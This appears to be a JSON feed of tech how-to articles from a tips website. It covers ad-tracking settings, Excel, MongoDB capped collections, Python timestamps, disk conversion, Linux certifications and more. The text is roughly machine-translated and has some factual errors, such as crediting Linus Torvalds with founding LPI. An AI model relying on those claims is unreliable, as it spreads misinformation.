Google through the Home app . Launch it and select your Chromecast from the list of devices. Then go to Settings, then scroll down and turn off 'Send Chromecast device usage data and crash reports to Google' .\n  The technology that everyone has today is amazing and a lot of things are making life easier. But they also monitor everything you do and this is annoying. For example, Quantrimang.com shows you how to actually prevent Google from tracking your location, as well as how to play and delete voice recordings sent to your digital assistant.\nMost people have accepted the fact that they have to give away some privacy to use the free services throughout the day. But at night, when people are trying to relax and enjoy their favorite movies and TV shows, no one wants to keep watching these activities.\nAnd everything is not limited to streaming stick. Smart TVs - such as Vizio, LG, Sony or Samsung - also monitor your usage. You can turn off or limit the tracking, but each model will have different implementation. Check the manual for your specific model or just browse the TV menu. For example, on Vizio, browse the menu and turn off the 'Smart Interactivity' option . But if your smart TV is powered by Google, Roku or Fire TV Edition, you can turn off the tracking feature using the steps outlined above.\nBut it's important to note that when you turn off ad tracking on your streaming device, it will notify providers like Netflix or Amazon that you don't want to be tracked anymore, but don't. There is no guarantee that it will come true, because either Roku or Apple cannot force other parties to do so. This situation is very similar to the Do Not Track feature that all web browsers have applied. You can enable it, but a website doesn't necessarily respect that requirement.\nHowever, there is more than nothing. Unless you absolutely don't use anything, the fight against being watched will be a constant struggle. But if you want to keep your online activity as private as possible, it's worth disabling the default ad tracking behavior of streaming devices.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGztcKtZJqcXam%2Foq%2FKoqWgZZ%2BjerO7yq5kn6Gimnq1woyap6mklWLBt3nAp5tmm5invK6xwpqqrQ%3D%3D\n","link":"/post/how-to-restrict-ad-tracking-on-roku-fire-tv-apple-tv-and-chromecast/","section":"post","tags":null,"title":"How to restrict ad tracking on Roku, Fire TV, Apple TV and Chromecast"},{"body":"One of the ways to create accents for Word content is to create artistic letters that rotate in different angles, through the Rotate feature. Similarly, when you work with Excel data tables, you can also create a horizontal, vertical, or alternate rotation.\nThis rotation can help adjust the content layout, or simply want to make a difference to the data sheet. The following article will guide you how to read text on Excel.\nHow to create text inverted, reverse the word in Word How to convert uppercase to lowercase letters on Excel with Unikey How to set the default font and font size on Excel Instructions for rotating text on Excel Step 1:\nIn the data table there is content that needs to be rotated, black out the data area you want to rotate and then right-click and choose Format Cells .\n  \nStep 2:\nThe Format Cell dialog box appears, click the Aligment tab . In the Orientation section you can enter the rotation angle or move the position of the arrow in the semi-circle.\n  The result we will see is the rotation of the user selected angle.\n  Depending on your needs as well as how to customize the layout of each person, you can change different angles to rotate the text.\n  Step 3:\nIn case the word to be rotated is an art word created by Word Art feature, highlight the word art and select the Format tab, then click the Rotate icon. Appear the rotation angle to choose.\nRotate right 90: Rotate right 90 degrees Rotate left 90: Rotate left 90 degrees Flip Vertical: Rotate text in vertical orientation Flip Horizontal: Rotate text in landscape orientation.   Step 4:\nIf you want to change the other rotation type, click More Rotation Options . Appearance of the Size and Properties dialog box appears. Here the Rotation part to enter the corner to be rotated. The text will be changed according to the selected angle.\n  If you use regular text on Excel, you can immediately customize the rotation of text in Format Cells, but if it is an artistic word, users must adjust it via the Rotate feature. The angles may vary depending on the user.\nVideo tutorial for rotating words on Excel See more:\nHow to change spreadsheet color lines in Excel How to create Text Box in Excel How to create suggestions for Hyperlink in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqfqa61sYytnLGsXZ67brHXnJyl\n","link":"/post/how-to-rotate-text-in-excel/","section":"post","tags":null,"title":"How to rotate text in Excel"},{"body":"There are 10 computers in your office, but only 1 set of speakers. The speaker set is connected to your computer, what is the situation that other people want to listen to their music on that speaker? In the article below, TipsMake.com will introduce you how to open audio, listen to music on other computer's speakers, or say it is to share speakers in the LAN system.\nHow to share 1 set of speakers when there are multiple computers? TipsMake.com will introduce you how to do this, can be said to be simple and easiest. That's using software, Share Speaker Player .\nLink download Share Speaker Player for free. All you need to do is install Share Speaker Player on the computers on the LAN system you want to use.As in this test, I installed on 2 computers using Windows 7 operating system.\n  In particular, the computer has IP 192.168.77.36 which is the computer connected to the speaker, the rest (IP 192.168.77.13 ) is the computer containing the music to turn on. Just install Share Speaker Player on LAN computers, the software will automatically detect and add the IP addresses corresponding to the LAN computers on the Play on section (as you can see in the picture above). . To select music on computer 13, click the Add\u0026gt; button\n  Or press the Insert shortcut\nPlease note that Share Speaker Player only supports opening and playing Audio music (mp3, wma, wav .) but cannot open the music and video. Next, we want to listen to the music on the speaker connected to computer 36, switch in Play on section from My Computer to the IP address of computer 36 (here is 192.168.77.36 ) as shown above, click Play button or alternatively is to right click on the song\u0026gt; Play on Other Computer :\n  Then select the computer that needs to play the music, so it's done:\n  192.168.77.36 is a computer plugged into a speaker\nVery simple and easy, with just a few steps and free software Share Speaker Player , you can freely use 1 set of speakers in the room with many computers already.\n  See more articles: Computer can't hear music, how to fix it? Ways to download YouTube videos fast and simple. How to change the interface for Windows 7. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedKpnJqjlafAbrXNZqOapl2oxrTAxKY%3D\n","link":"/post/how-to-share-speakers-in-lan-system/","section":"post","tags":null,"title":"How to share speakers in LAN system?"},{"body":"Deleting the wrong data, or losing data caused by a virus-infected computer is inevitable. And if users want to retrieve those lost data, they need to use data recovery software such as iSkysoft Data Recovery.\niSkysoft Data Recovery also has features like other recovery software such as Recuva, Easeus Data Recovery Wizard, which supports finding and retrieving lost data formats. Users will be given the option to find and restore data, trash or select a specific drive. Besides, the software also saves data on many devices such as USB, hard drive, SD card, camera, etc. The following article will guide you how to use iSkysoft Data Recovery to recover data on your computer.\nHow to recover lost files after repartitioning the hard drive? How to recover data from \"Ghost\" hard drive (or image) error / mistake Restore deleted drive partitions with Active Partition Recovery Instructions to retrieve data with iSkysoft Data Recovery Step 1:\nUsers click on the link below to download iSkysoft Data Recovery software to the computer and proceed with the installation. Click the Install button to install the software.\nDownload iSkysoft Data Recovery software   The installation process of iSkysoft Data Recovery will take place shortly thereafter.\n  Step 2:\nAfter installation, click the Start Now button to scan data on the computer.\n  Step 3:\nSwitch to the new interface with the types of files that users want to retrieve. The software supports retrieving formats such as:\nImage format: PNG, JPG, TIFF, TIF, BMP, GIF, PSD, RAW, CRW, . Audio formats such as AVI, MOV, MP4, M4V, 3GP, 3G2, MKV, MXF, WMV, ASF, FLV, . Video formats like: AVI, MOV, MP4, M4V, 3GP, 3G2, MKV, MXF, WMV, ASF, FLV, . Email formats such as: EML, EMLX, PST, DBX, MSG, BKL . Text file formats such as: XLS / XLSX, DOC / DOCX, PPT / PPTX, HTML / HTM, PDF, . Other formats such as ZIP, RAR, BZip2, 7z, SIT, SITX, DLL, SYS, LIB, 7ZIP, GZIP . Click on the type of data we want to search.\n  Step 4:\nDisplays the interface that selects the drives or folders you want to scan data. If you want to check data at any part, select it. If clicking Set loaction will display the interface of the drives on the computer.\n  Each drive can be expanded to select the folder to scan the data.\n  The folders will be clearly displayed for us to choose from.\n  Once you've selected where to find and scan lost data, click the Scan button below.\n  Step 5:\nThe process of scanning data with the partition, folder or drive that the user has selected will be conducted. At this interface you will see the total time of the scan, the total number of files found.\nWhen completed, you will see the data folder that we have selected to scan. For example, if you want to find the deleted audio file, display the Audio folder.\n  Step 6:\nClicking on this folder will display all the data found by iSkysoft Data Recovery. At this interface, users will see the file name, file size, current status of the file.\nIf it is an image, it will add a Preview to preview the content.\n  Step 7:\nIf you want to recover any data, select it and click Recover button below. You will see the total capacity of the selected files to be restored.\nNote to users that you should save the restored data to another device, or a partition other than the recovering partition. To recover the data, users need to register using iSkysoft Data Recovery.\n  The steps to use iSkysoft Data Recovery to recover data are simple. Depending on the need to find and recover data, you will select the type of data that the software provides. Selecting a location to search for files is also very clear when fully aggregating folders on your computer.\nSee more:\nInstructions to restore data after restoring iPhone Instructions for using File History to backup and restore data Delete all Android devices, restore original settings I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqv8qyqqiepGKxosDAZqmem5%2BrsrPFjK2mZqqVmLy3sdFmm5qskQ%3D%3D\n","link":"/post/how-to-use-iskysoft-data-recovery-to-recover-data/","section":"post","tags":null,"title":"How to use iSkysoft Data Recovery to recover data"},{"body":"This is a big step that Microsoft took years to research and develop. So what is the principle behind the ability to run Android apps on Windows 11? Let's find out right here.\nPrerequisites First, it should be noted that native Android app support has not been officially released by Microsoft on Windows 11, but is only in the internal testing phase. At the present time (October 2021) users can only install Android apps if they are using the Insider Preview Windows 11 beta channel.\nIn the future, this feature will come to all Windows 11 devices that have the necessary hardware virtualization support. Then, Windows 11 PCs will be able to run Android apps out of the box, just like Chromebooks — and similarly the Mac M1 can run iPhone and iPad apps.\nIntel Bridge Technology   You can think of apps as pieces in a jigsaw puzzle — they only fit in certain places. Mac apps can't run on Windows, and of course Android apps can't run on iPhones either. Therefore, for Android applications to work inside Windows 11, Microsoft needs the help of some powerful support tools. One of them is Intel Bridge Technology (IBT), with the technical term being 'runtime post-compiler'.\nA compiler is a tool that tells your computer what to do with the code inside the application. Without a compiler, applications are basically just packages of documents written in 'foreign languages' that your PC cannot understand and process.\nThe post-compiler will be responsible for recompiling the application's code. In this case, the app is compiled to run on Android first, and then Intel Bridge Technology recompiles the app with all the requirements needed to run in Windows 11.\nMore specifically, the technology can compile the application after it runs to provide compatibility with Intel and AMD x86 platforms. In addition, Intel's multi-architecture XPU strategy is also leveraged to enhance the experience through workload sharing between Android and Windows programs. It also allows the application to integrate more deeply with Windows graphics and CPU. Intel Bridge Technology can be thought of as a bridge that connects native Android functions with native Windows functions.\nThe important thing to mention here is that Android application developers absolutely do not have to do any intervention, tweaking to make their applications work on Windows 11. That is Microsoft's job.\nNot an emulator In fact, the idea of ​​bringing Android apps to the Windows environment has been around for a long time. Emulators like BlueStacks have been doing that for a while, but come with some major limitations. The difference is that Intel Bridge Technology is not an emulator.\nThe emulator creates a virtual environment for the applications to run within. It essentially creates a virtual Android device that runs on your Windows PC. This requires a lot of system resources, and can slow things down, affecting the overall experience.\nIntel Bridge Technology allows Android apps to run natively on Windows 11, just like regular Windows apps. This ensures the application runs smoothly, with almost no restrictions.\nWhere do the apps come from?   Microsoft has partnered with Amazon to offer Android apps through the Amazon Appstore. The process of installing Android apps from the Amazon Appstore is also very simple. You just need to install the Amazon Appstore from the Microsoft Store, then download the Android apps as usual.\nAndroid apps on Windows 11 ncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWYpMRurc2dqaihlGKusbzSZq6oqptivK951qKlnaenqHpyfQ%3D%3D\n","link":"/post/this-is-how-android-apps-work-on-windows-11/","section":"post","tags":null,"title":"This is how Android apps work on Windows 11"},{"body":"In this article, learn the top tips to remember while playing The Legend of Zelda: Breath of the Wild.\n  Tips for playing The Legend of Zelda: Breath of the Wild Holds a range of melee weapons The in-game arsenal is divided into melee weapons and bows, but don't be fooled into thinking those are the only two. Each melee weapon also has very different attributes, depending on what type of weapon it is, so players should keep a full mix of weapons.\n  For example, the character may sometimes find themselves in a situation where they need to break a rock, whether it's a rock containing an item, or one of the occasional rock monsters.\nA sword may be the best weapon when fighting large enemies like Bokoblins, but is useless for breaking rocks. So gamers will need to use a stick or even hammer to do that.\nDon't just fill your melee inventory with swords, or you'll end up in difficult situations.\nGet hidden chests in the temple There are about 100 temples dotted around Hyrule, each with its own unique puzzles. The reward for passing each temple is a Spirit Orb, but getting these is only half the reward.\n  Each temple has a hidden treasure chest containing a good item such as a special weapon, rare outfit or valuable gem that can be sold for high rupees.\nPlayers will probably need to solve one more puzzle to get the chest, but be sure to find them all.\nIf you're unsure of their location, look for the little chest icon next to the shrine's name in the map.\nUse Spirit Orbs to increase stats   Every time 4 Spirit Orbs are collected, the player can use them to increase their abilities. Once you have 4, find a Goddess statue and use it to pray. The Statue will come to life and give you the option to trade your Orbs for extra stamina or 1 heart on the health bar.\nGoddess statues are not marked on the map, so when you find one, you can use the map and mark the location with a stamp to return after you have collected 4 Spirit Orbs.\nLearn to attack and dodge   Fighting enemies isn't just about running at them, swinging weapons aimlessly. If you do this, the character will only take more damage, especially when using a powerful weapon that takes a long time to control. Blocking shield attacks (pressing the L button), while also learning how to attack and dodge is a good way to deal with some of the weaker enemies.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmasmJp6rbHGnqWdZZ%2Bberuxy52YZpqimq61tIyonWasmJp6uLXLnQ%3D%3D\n","link":"/post/tips-for-playing-the-legend-of-zelda-breath-of-the-wild/","section":"post","tags":null,"title":"Tips for playing The Legend of Zelda: Breath of the Wild"},{"body":"Technology professionals certainly understand the importance of Linux certification in the IT industry. In particular, if you are looking for a better position in the Linux field, obtaining certain certifications is a must.\nSo, let's explore the top 5 Linux certifications you should consult if you're going to be far in this area.\nTop top Linux certifications in 2020 1. LINUX + CompTIA CompTIA Linux Certification (LX0-103) CompTIA Linux Certification (LX0-104)  2. RHCE- Red Hat Certified Engineer 3. GCUX: GIAC Certified UNIX Security Administrator 4. Oracle Linux OCA \u0026amp; OCP 5. LPI certificate (Linux Professional Institute) LPIC- 1: Linux Administrator (Linux Administrator) LPIC- 2: Linux Engineer LPIC-3: Linux Enterprise Professional Certification Latest certification in LPIC  1. LINUX + CompTIA LINUX + CompTIA For nearly two decades, employers have used this certification as a skill standard to employ any IT professional. Therefore, achieving this certificate has become a demand for all individuals who are eager to participate in this IT field.\nCompTIA Linux + is one of the popular Linux certifications for essential and common management and usage tasks for all Linux distributions. To get this Linux + certification, you must pass two tests CompTIA Linux Certification (LX0-103) and CompTIA Linux Certification (LX0-104).\nCompTIA Linux Certification (LX0-103) This test covers some of the following areas:\nGNU and UNIX commands system architecture Package management and Linux installation Equipment, Linux file system, standard file system hierarchy CompTIA Linux Certification (LX0-104) This test covers some of the following areas:\nSecurity Data management, script writing, shell User interface and desktop Administrative duties Essential system services Basic network Both tests have 60 multiple choice questions, taken within a 90 minute time limit. The passing score is 500 on a 200 - 800 scale. You will receive a LINUX + CompTIA certificate if you pass both tests.\n2. RHCE- Red Hat Certified Engineer RHCE- Red Hat Certified Engineer With the 'dominance' of the Linux world, there is another important certification called the RHCE - Red Hat Certified Engineer. This is really one of the outstanding Linux certificates.\nRed Hat senior certificates are quite popular. Therefore, you must have high-level certificates to be employed in top organizations. And if you have this certificate, there are many different roles that you can assume, such as senior Linux administrator, senior system engineer, IT analyst, senior UNIX administrator, etc. .\nThis is one of the best Linux certifications that any Linux expert must achieve. That is why it is not easy to get it. To get a Red Hat Certified Engineer, you must first obtain the Red Hat Certified System Administrator (RHCSA), then pass the 3-and-a-half-hour test, practice and exams.\nIf you have achieved RHCE, you are eligible for RHCA (Red Hat Certified Architect) certificates including:\nRHCA: Application development RHCA: Datacenter (Data center) RHCA: Cloud RHCA: DevOps RHCA: Application platform So in short, if you are looking for a better position in any IT organization, you should get a RHCE certificate - Red Hat Certified Engineer.\n3. GCUX: GIAC Certified UNIX Security Administrator GCUX: GIAC Certified UNIX Security Administrator This is one of the Linux certifications that demonstrates the ability to secure and test Linux / UNIX systems. The purpose of this certificate is to train the installation, configuration and monitoring of both Linux and UNIX systems. So, like any other Linux certification exam, this test also has a few requirements:\n75 questions 1 rigorous, supervised exam Time limit: 2 hours Minimum passing score of 68% Basically, candidates will understand the physical and password security issues for both UNIX and Linux systems. This test even tests the candidate's ability to understand Chroot, such as how to configure its service, its environment, how to configure it with chroot, and everything else about Chrooting. In addition, some other areas of UNIX and Linux are included, such as installing and fixing operating systems, user accounts, password access control, SUDO, etc.\nThis Linux certification is recommended for all Linux professionals. It includes more than 35 security certificates belonging to different categories, as mentioned above.\n4. Oracle Linux OCA \u0026amp; OCP Oracle Linux OCA \u0026amp; OCP This Linux certification involves gaining skills and capabilities related to Oracle products, as well as technology. To pass exams and gain certification, you need to pass multiple exams, training and performance-based exercises, depending on the level of certification.\nWith 6 certification levels - Oracle Certified Junior Associate (OJA), Oracle Certified Associate (OCA), Oracle Certified Professional (OCP), Oracle Certified Master (OCM), Oracle Certified Expert (OCE) and Oracle Certified Specialist (OCS) , A candidate needs to master all the stages to get a good position in a reputable IT company.\nThe certificate consists of two exams, which are:\nOCA-1Z0-100 Oracle Linux 5 and 6 System Administration , including 80 questions, required at least 61%. OCP-1Z0-105 Oracle Linux 6 Advanced System Administrator , has a total of 97 questions and also requires a pass at least 61%. 5. LPI certificate (Linux Professional Institute) LPI Certification (Linux Professional Institute) Started in 1999 by Linus Torvalds, these Linux certifications are becoming increasingly important to any Linux expert. This program is available in 3 different levels, which are:\nLPIC- 1: Linux Administrator (Linux Administrator) This is a base level Linux certificate with no requirements. Applicants need to pass 2 tests, covering all basic Linux skills, including installing and configuring Linux on the workstation, performing maintenance tasks, creating a LAN or Internet connection, etc . Having CompTIA Linux + issued by LPI will qualify you to receive both Linux + and LPIC-1 certificates.\nLPIC- 2: Linux Engineer This is an advanced level Linux certificate, requires a valid LPIC-1 certificate. LPIC-2 has two tests. The first test consists of things about the file system and device, kernel, system boot, network configuration, system maintenance and even capacity planning. The second test involves email services, network client management, domain server, system security and troubleshooting, etc.\nLPIC-3: Linux Enterprise Professional Certification This is a high-end Linux certification, requiring a valid LPIC-2 certificate, in addition to passing any test in a series of 300 tests. This certification includes exam IDs:\n300: Mixed Environment ( Mixed Environment ) 303: Security (Security) 304: Virtualization and High Availability (Virtualization and high availability) 300: Mixed Environment includes Samba, works with Linux \u0026amp; Windows clients, plus OpenLDAP.\n303: Security includes operations, application and network security, besides encryption and access control.\n3304: Virtualization and High Availability includes high availability and virtualization cluster participation and storage.\nLatest certification in LPIC The latest LPI certification is LPIC-OT DevOps Tools Engineer , which allows Linux professionals to use the tool to collaborate in software and system development. The test has 60 questions and lasts about 90 minutes.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kpaGeqsVur8Srq6KemZiutbXOp6pmnp%2BnenN8kWk%3D\n","link":"/post/top-5-linux-certifications-for-2020/","section":"post","tags":null,"title":"Top 5 Linux certifications for 2020"},{"body":"The following article introduces you to the Top 5 websites for creating Logo online, creating the best Online Logo without having to install any software on your computer.\n1. Create Logo online on https://secure.logomaker.com - Access the website via the link: https://secure.logomaker.com/logomakerv3/\n- Logomaker.com allows you to design online logos with hundreds of different fields and industries. It has a complete and very professional tool store for users to create logos. This is one of the most popular onlien logo creation sites today.\n  2. Create Logo online on https://www.graphicsprings.com/ - Access the website via the link: https://www.graphicsprings.com/\n- Graphicsprings.com provides you with beautiful logo graphics, easy order of logos suitable for all users, provided for free. Especially graphicsprings.com supports sleek logo creation tips to make sure your brand looks more professional and leaves an impression on customers.\n  3. Create an Online Logo on https://www.logogarden.com - Access the website via the link: https://www.logogarden.com/logo-maker#/\n- Logogarden.com has logo designs that are highly appreciated for ideas. It supports a variety of design patterns. Very simple to use and intuitive to use. After design is complete, you just need to download and use.\n  4. Create Logo online on http://flamingtext.com - Access the website via the link: http://flamingtext.com/\n- Flamingtext.com supports you to design beautiful frames and braille and the operation is quite simple:\n  5. Create Logo online on https://www.onlinelogomaker.com - Access the website via the link: https://www.onlinelogomaker.com/logomaker/\n- A feature available on onlinelogomaker.com you can insert background images on your computer to create Logo. The interface of onlinelogomaker.com is quite simple and supports designs in all areas:\n  Above is a detailed introduction of Top 5 websites for creating Logo online, creating the best Online Logo hoping to help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5ksJ2SqLa1sdJmq6hlk6eyosDEZqOon59ivK%2B4yKecZpuimq61sYytn55lkprAtXnLqJ6oZZ%2Bjuaq6xA%3D%3D\n","link":"/post/top-5-websites-to-create-logo-online-create-the-best-logo-online/","section":"post","tags":null,"title":"Top 5 websites to create Logo online, create the best Logo online"},{"body":"The intercom can work with HomePod, HomePod mini, iPhone, iPad, Apple Watch, AirPods, and even CarPlay.\nHow to install Intercom After updating HomePod to software 14.1 and iOS 14.2 (still in public beta), Intercom can be set up in the Home app. The intercom works if you have a HomePod or another compatible device. Currently there is no interface other than the Home app to use Intercom.\nStep 1. Install HomePod 14.1 software.\nStep 2. Open the Home app .\nStep 3. Click on the small house icon on the left corner.\n  Step 4. Click on Home Settings .\nStep 5. Scroll down to select Intercom .\n  Step 6. Adjust notification settings and choose which household members can use the Intercom feature.\nThose with remote access to the Home app can send and receive Intercom messages even when they're not at home. Those messages will take the form of audio on iPhone and Apple Watch.\nAnyone can be added to using Intercom. Go to the Home Settings screen and select Invite People .\nIntercom requirements The intercom can work with HomePod after installing the HomePod 14.1 update and the iPhone has been updated to iOS 14.\nThere may be some features that are still incomplete. To get the best Intercom performance, make sure all devices are updated to the latest OS version.\nHow to use Intercom to send messages to a HomePod Intercom messages can be sent to HomePods using Siri on iPhone, iPad, Apple Watch, and other HomePods. To send Intercom messages, activate Siri on the above devices and say 'Intercom' plus the message you want to send.\n  In the iPhone's Home app, there is a small sound wave icon on the right corner, click on it to record a message and then send it to the device.\nHow to use Intercom to send a message from HomePod to another device You can use HomePod to send messages to HomePods in your home or devices including other family members.\nJust like the above method, activate Siri and say Intercom plus a message that you can send messages to connected devices.\nSend a message to a certain room If you have multiple HomePod in different rooms, you can send messages directly to each HomePod by activating Siri and saying 'Intercom' + room name + message.\n  To use this feature, the HomePod in the same home must be correctly split in the Home app. To install or change a room can follow these steps:\nStep 1. Open the Home app .\nStep 2. Select HomePod or HomePod mini from the device list.\nStep 3. Hold down the HomePod icon .\n  Step 4. Click the settings icon at the bottom of the interface or swipe down.\nStep 5. Select Room .\n  Step 6. Choose a room from the available list or click Create New .\nStep 7. When done, close the interface by clicking the X on the corner of the window.\nHow to reply to a Intercom message If you receive a Intercom message and want to return, activate Siri, say 'reply' + message.\nhomepod mini homepod ncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51dlr2xuMSsZKedp2K2r8DEq5qopV2bsqLA1KucrA%3D%3D\n","link":"/post/what-are-apple-s-new-intercom-features/","section":"post","tags":null,"title":"What are Apple's new Intercom features?"},{"body":"Control Center also known as control center on iOS 10 is a simple and quickest way to use some features. All you have to do is swipe up from the bottom of the screen, then the Control Center will automatically appear.\nThanks to Control Center you can use some features without having to open each application one by one. Not everyone knows all the features that Control Center offers. The following article will summarize all the things that you need to know about Control Center on iOS 10 operating system.\nUse AirDrop from Control Center AirDrop is a feature on the iOS operating system that allows users to share movies, photos, contacts . for another AirDrop user. Its advantage is that it can share large videos quickly.\n  Open Control Center by swiping up from the bottom of the screen, then click on the AirDrop icon. Choose who can AirDrop for you. Also you can choose from people in your contacts or with everyone in the Bluetooth range.\nTurn on / off the airplane, Bluetooth, Do not Disturb, Silent and rotate devices All of these features are neatly arranged on the top toolbar of the Control Center. Click on the icon that you want to open / off respectively. Also you can adjust the screen's brightness by using the drag bar on the Control Center.\n  Enable Night Shift, Timer and Camera features from Control Center These useful features are all encapsulated on the Control Center. Using the Night Shift function will help the device automatically adjust the iPhone screen color when used at night to make it easier to sleep.\nTurn off Control Center on the lock screen Although quite convenient in many cases, opening the Control Center easily even when you're locking the screen can make someone turn on or turn off or break the features displayed on the Control Center. If you do not want to happen this case, you can choose to turn off the Control Center panel on the lock screen.\nGo to Settings\u0026gt; Control Center . Then turn off the Access on Lock Screen switch .\n  You will only be able to open the Control Center after unlocking the device.\nTurn on the light and computer (only available on iPhone) For iPhone, Control Center will have 2 more features that are turning on the flashlight and turning on the computer.\nAlso you can adjust the brightness of the flashlight by using 3D Touch on the icon. After pressing and holding the flashlight icon on the Control Center, you can choose between 3 options, the Low Intensity , Medium Intensity , and High Intensity .\n  Music app control panel You can open the music panel of the Music app on iOS by swiping from right to left at the Control Center. Here you can easily listen to the song you are listening to, move to another lesson, or even select the output of the device.\n  ncG1vNJzZmismaXArq3KnmWcp51krq24jK2fnmWknbavs9JmsKitXaOyprCMraZmo56kxG6twaisrWWTpLu1vs6lZJydnqmys3nOp2Sip6NifnE%3D\n","link":"/post/all-the-things-you-need-to-know-about-control-center-on-ios-10/","section":"post","tags":null,"title":"All the things you need to know about Control Center on iOS 10"},{"body":"Capped collections are fixed-sized Circular Collection that follow the insert order to enhance the performance of create, read, and delete operations. With Circular, it means that when fixed sizes are allocated for Collection, it will start deleting the oldest Document in that Collection without providing any explicit commands.\nCapped Collection limits update activities to the Document if those updates increase the size of the Document. When Capped Collection stores documents in the order of Disk Storage, it ensures that the document size does not increase more than the size allocated on Disk. Capped Collection is best for storing log information, cache data, .\nCreate Capped Collection in MongoDB To create a Capped Collection , we use the commonly used createCollection command but with the capped option true and specify the maximum size (in bytes) for that Collection.\n\u0026gt; db . createCollection ( \"cappedLogCollection\" ,{ capped : true , size : 10000 })  With the size of the Collection, we can also limit the Document number in that Collection by using the max parameter:\n\u0026gt; db . createCollection ( \"cappedLogCollection\" ,{ capped : true , size : 10000 , max : 1000 })  If you want to check if a Collection is capped or not, use the isCapped command:\n\u0026gt; db . cappedLogCollection . isCapped ()  If there is an existing Collection that you intend to convert into capped, use the following code:\n\u0026gt; db . runCommand ({ \"convertToCapped\" : \"posts\" , size : 10000 })  This code will convert existing posts collection into a Capped Collection.\nQuery on Capped Collection By default, a find query on a Capped Collection will display the results in the insert order. But if you want to retrieve documents in reverse order, use the sort command as follows:\n\u0026gt; db . cappedLogCollection . find (). sort ({ $natural :- 1 })  Here are some things to keep in mind while working with Capped Collection:\nWe cannot delete documents from a Capped Collection.\nThere is no default index present in a Capped Collection, even on the _id field.\nWhile inserting a new Document, MongoDB doesn't really have to look at the location of the new Document on Disk. It can insert the new Document at the end of Collection. This makes the inserting of Capped Collection very fast.\nSimilarly, when reading documents, MongoDB only has to return documents in the same order as on Disk. This makes reading operations very fast.\nAccording to Tutorialspoint\nPrevious post: GridFS in MongoDB\nncG1vNJzZmismaXArq3KnmWcp51ksKK8z56bZpufobmmr9OipqdlmaN6rrvNoKadmg%3D%3D\n","link":"/post/capped-collection-in-mongodb/","section":"post","tags":null,"title":"Capped Collection in MongoDB"},{"body":"You may not know, hard drives store data in 2 formats that are MBR and GPT. The MBR format is an old format that only supports hard drives with a capacity of 2 TB or less and supports four primary or three primary partitions plus an extended partition, and hard drives larger than 2TB it cannot be controlled. With GPT format, it is possible to manage hard drives larger than 2TB and support up to 128 primary partitions in Windows operating system. Besides, GPT format can boot windows with UEFI standard which is a new security standard higher than MBR - Legacy BIOS standard. Some of you want to convert a hard drive from MBR to GPT but are worried that you will lose all your internal data. But do not worry, the following article by Thuthuatphanmem.vn will guide you to convert MBR format to GPT hard drive with just a few simple steps without losing data. Please follow along.\nTo convert hard disk format MBR to GPT without losing data we will use the MiniTool Partition Wizard software\u0026nbsp; .\nYou can download the software at the following link:\nhttps://www.partitionwizard.com/free-partition-manager.html\nAfter downloading you install, and this is the launch interface of the program:\n  To enter the main interface, select\u0026nbsp; Launch Application \u0026nbsp;or choose\u0026nbsp; MiniTool Partition  Wizard Free . The main interface is as follows:\n  On the interface of the software will display the hard drives in your computer, you want to convert the format of any drive, right-click on that drive and select Convert MBR Disk to GPT Disk.\n  Next, click Apply to confirm the conversion:\n  When the message shown below, your drive has been converted to GPT format\n  So with just a few simple steps, we have successfully converted the hard drive format from MBR to GPT, hope you will find the article useful. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ksLC61Z6prWWdl79uwM5mnqmsXay2tbSMp6ZmnJGprm64zqyq\n","link":"/post/convert-mbr-to-gpt-with-no-data-loss/","section":"post","tags":null,"title":"Convert MBR to GPT with no data loss"},{"body":"In this article, TipsMake.com will show you how to convert the timestamp value into a datetime object and a datetime object into a timestamp value in Python, along with specific examples to make it easier to visualize and capture this value. better.\nIn databases, storing dates and times as timestamp values ​​is quite common.\nUnix timestamp or Unix time is the system that expresses a point on the time axis, using the number of seconds to determine the time, with the starting point from 00:00:00 on January 1, 1970 in UTC time.\nExample: At 13:54:27 - 21/05/2019 has a timestamp value of 1558446867; This means from 00:00 to 1/1/1970 to 13:54:27 - May 21, 2019 is 1558446867 seconds.\nExample 1: Convert timestamp value to datetime\nfrom datetime import datetime timestamp = 1562907183 dt_object = datetime.fromtimestamp(timestamp) print(\"dt_object =\", dt_object) print(\"type(dt_object) =\", type(dt_object))  Run the program, the result returns the date and time corresponding to the timestamp 1562907183 value :\ndt_object = 2019-07-12 11:53:03 type(dt_object) =  Here, we import the datetime class from the datetime module and then use the datetime.fromtimestamp () method to return the local date and time ( datetime object ) stored in the dt_object variable .\nYou can easily create a time display string using the strftime method ().\nExample 2: Convert datetime to timestamp value\nYou can retrieve the timestamp value from a datetime object using the method datetime.timestamp ().\nfrom datetime import datetime # ngay gio hien tai now = datetime.now() timestamp = datetime.timestamp(now) print(\"timestamp =\", timestamp) print(\"Ngay gio hien tai:\", now)  Result:\ntimestamp = 1562915824.395594 Ngay gio hien tai: 2019-07-12 14:17:04.395594  Previous lesson: Current date and time in Python\nNext lesson: Module time in Python\nncG1vNJzZmismaXArq3KnmWcp51ksLC61Z6prWWknbJuwMimnKyskaK9bsLApayeZZmjerHF06Gmpw%3D%3D\n","link":"/post/convert-the-timestamp-value-in-python/","section":"post","tags":null,"title":"Convert the timestamp value in Python"},{"body":"What is Emoji? You often use it when chatting on social networking applications, in messages to express your feelings and joys. Emoji are small stickers used to describe some reactions or emotions. Although there are hundreds of different emoji on social networking applications, users still want to create their own emoticons to express their intentions and emotions through homemade emojis. For many people who often use emoticons, it is sometimes found that emoji do not meet their needs. So in this article, we show you how to create emoji that anyone can do. Let's start now!\n# 1 Bitmoji   \nThis is a popular application for emoji creation which is very popular. Using a large number of different sticker styles, this application allows users to make any type of emoji they want. It is used with snap chat or integrated in chat chat, so users who use snap chat can use this function to create their own style emoji expressing their feelings with friends on social networks .\nTo create an emoji from Bitmoji, select the avatar and edit the hairstyle, eyebrow shape and color and other details. Choose body style and emoji finish. Finally select the subpage for emoji and then press the tick button to 'emulate' emoji!\nDownload - iOS / Android\n# 2 Moji Maker   Another great 